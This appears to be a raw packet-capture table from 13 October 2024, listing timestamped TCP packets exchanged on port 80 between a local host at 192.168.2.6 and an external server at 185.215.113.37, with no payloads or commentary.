Oct 13, 2024 00:47:53.638562918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638577938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638597965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638612986 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638633013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638648033 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638680935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638792038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638827085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638842106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638859987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638868093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638895035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638906002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638928890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638951063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638961077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.638982058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.638994932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639014006 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639028072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639050007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639062881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639081955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639097929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639120102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639132977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639153957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639163971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639189959 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639197111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639230967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639230967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639266014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639266968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639298916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639303923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639337063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639338017 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639369965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639374018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639406919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639440060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639441013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639476061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639497042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639528036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639530897 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639564037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639580011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639597893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639614105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639631987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639647007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639664888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639683008 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639700890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639717102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639740944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639750957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639776945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639787912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639815092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.639827013 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.639863014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.640126944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.640181065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.640214920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.640234947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.640275002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.640284061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.640294075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.640311003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.640321016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.640326023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.640341997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.640343904 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.640368938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.640403032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.640515089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.640559912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.640577078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.640604973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.640640974 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.640666008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.640681982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.640697956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.640714884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.640727997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.640753984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.642806053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.642855883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.642872095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.642883062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.642924070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.642961025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.642976999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.642992020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.643007994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.643021107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.643024921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.643100977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.643136978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.643153906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.643170118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.643187046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.643186092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.643204927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.643222094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.643224955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.643235922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.643265009 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.643290043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.725281000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725353956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725390911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725393057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.725425005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725444078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.725444078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.725474119 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.725480080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725516081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725528002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.725549936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725578070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.725581884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725600958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725632906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.725636959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725670099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725673914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.725707054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.725722075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725725889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.725775957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725807905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725826025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.725841999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725855112 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.725876093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725889921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.725912094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725922108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.725944996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725960970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.725980997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.725997925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726018906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726027966 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726053953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726063967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726089001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726100922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726128101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726134062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726159096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726176023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726193905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726206064 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726227999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726238012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726274967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726283073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726315975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726342916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726347923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726378918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726386070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726407051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726422071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726433039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726455927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726468086 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726490021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726541996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726542950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726577997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726600885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726610899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726634026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726644993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726656914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726679087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726713896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.726732969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.726813078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727044106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727078915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727113008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727128029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727147102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727159977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727180004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727191925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727215052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727229118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727248907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727281094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727292061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727314949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727330923 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727349043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727364063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727381945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727443933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727457047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727477074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727488995 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727511883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727529049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727546930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727567911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727580070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727600098 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727613926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727624893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727648973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727659941 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727694988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727737904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727771997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727786064 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727806091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727817059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727842093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727852106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727876902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727890968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727912903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.727920055 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727958918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.727994919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728028059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728044033 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728061914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728072882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728096008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728107929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728131056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728142023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728168964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728180885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728215933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728398085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728430986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728449106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728465080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728477955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728498936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728508949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728533983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728544950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728569031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728578091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728604078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728614092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728637934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728648901 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728672028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728681087 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728707075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728718996 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728741884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728750944 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728777885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728789091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728816032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728826046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728849888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728863001 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728885889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.728895903 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.728933096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.729412079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.729464054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.729497910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.729533911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.729562044 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.729568958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.729578972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.729604006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.729614973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.729650021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.729701996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.729738951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.729753017 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.729773045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.729805946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.729821920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.729840994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.729861021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.729892969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.729969025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.730001926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.730015993 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.730036020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.730046988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.730071068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.730081081 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.730114937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.732096910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.732131004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.732177973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.732183933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.732206106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.732218981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.732233047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.732275009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.732307911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.732327938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.732342958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.732368946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.732383966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.732402086 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.732430935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.732434988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.732482910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.732489109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.732525110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.732536077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.732558966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.732573032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.732593060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.732604027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.732625961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.732637882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.732667923 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.814023018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.814100027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.814105034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.814136982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.814150095 CEST	49711	80	192.168.2.6	185.215.113.37
